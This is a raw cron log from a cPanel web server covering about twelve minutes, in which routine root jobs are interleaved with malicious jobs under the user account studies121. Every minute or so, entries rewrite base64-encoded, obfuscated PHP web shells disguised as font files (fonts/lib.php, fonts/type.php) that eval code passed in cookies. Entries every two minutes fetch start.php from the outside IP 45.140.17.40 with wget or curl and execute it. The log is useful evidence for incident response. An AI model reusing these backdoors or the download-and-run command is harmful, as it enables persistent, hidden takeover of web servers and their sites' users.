Sep 11 17:01:01 ip-184-168-122-23 CROND[6078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:01:01 ip-184-168-122-23 CROND[6082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:01:01 ip-184-168-122-23 CROND[6079]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 17:01:01 ip-184-168-122-23 CROND[6080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:01:01 ip-184-168-122-23 CROND[6083]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6079]: starting 0anacron
Sep 11 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[6098]: finished 0anacron
Sep 11 17:02:01 ip-184-168-122-23 CROND[6193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:02:01 ip-184-168-122-23 CROND[6195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:02:01 ip-184-168-122-23 CROND[6196]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:02:02 ip-184-168-122-23 CROND[6197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:02:02 ip-184-168-122-23 CROND[6198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:03:01 ip-184-168-122-23 CROND[6302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:03:01 ip-184-168-122-23 CROND[6304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:03:01 ip-184-168-122-23 CROND[6306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:03:01 ip-184-168-122-23 CROND[6307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:04:01 ip-184-168-122-23 CROND[6417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:04:01 ip-184-168-122-23 CROND[6419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:04:01 ip-184-168-122-23 CROND[6422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:04:01 ip-184-168-122-23 CROND[6420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:04:01 ip-184-168-122-23 CROND[6421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:05:01 ip-184-168-122-23 CROND[6706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:05:01 ip-184-168-122-23 CROND[6709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:05:01 ip-184-168-122-23 CROND[6711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:05:01 ip-184-168-122-23 CROND[6708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:05:01 ip-184-168-122-23 CROND[6710]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 17:05:01 ip-184-168-122-23 CROND[6713]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:05:01 ip-184-168-122-23 CROND[6712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:06:01 ip-184-168-122-23 CROND[6997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:06:01 ip-184-168-122-23 CROND[6999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:06:01 ip-184-168-122-23 CROND[7000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:06:01 ip-184-168-122-23 CROND[7002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:06:01 ip-184-168-122-23 CROND[7001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:07:01 ip-184-168-122-23 CROND[7131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:07:01 ip-184-168-122-23 CROND[7132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:07:01 ip-184-168-122-23 CROND[7135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:07:01 ip-184-168-122-23 CROND[7134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:08:01 ip-184-168-122-23 CROND[7241]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:08:01 ip-184-168-122-23 CROND[7243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:08:01 ip-184-168-122-23 CROND[7246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:08:01 ip-184-168-122-23 CROND[7245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:08:01 ip-184-168-122-23 CROND[7244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:09:01 ip-184-168-122-23 CROND[7334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:09:01 ip-184-168-122-23 CROND[7337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:09:01 ip-184-168-122-23 CROND[7336]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 17:09:01 ip-184-168-122-23 CROND[7339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:09:01 ip-184-168-122-23 CROND[7338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:10:01 ip-184-168-122-23 CROND[7446]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:10:01 ip-184-168-122-23 CROND[7449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:10:01 ip-184-168-122-23 CROND[7450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:10:01 ip-184-168-122-23 CROND[7452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:10:01 ip-184-168-122-23 CROND[7456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:10:01 ip-184-168-122-23 CROND[7454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:10:01 ip-184-168-122-23 CROND[7451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:10:01 ip-184-168-122-23 CROND[7455]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:11:01 ip-184-168-122-23 CROND[7586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:11:01 ip-184-168-122-23 CROND[7584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:11:01 ip-184-168-122-23 CROND[7585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:11:01 ip-184-168-122-23 CROND[7587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:12:01 ip-184-168-122-23 CROND[7808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:12:01 ip-184-168-122-23 CROND[7811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:12:01 ip-184-168-122-23 CROND[7810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:12:01 ip-184-168-122-23 CROND[7812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:12:01 ip-184-168-122-23 CROND[7813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:13:01 ip-184-168-122-23 CROND[7923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:13:01 ip-184-168-122-23 CROND[7922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:13:01 ip-184-168-122-23 CROND[7925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
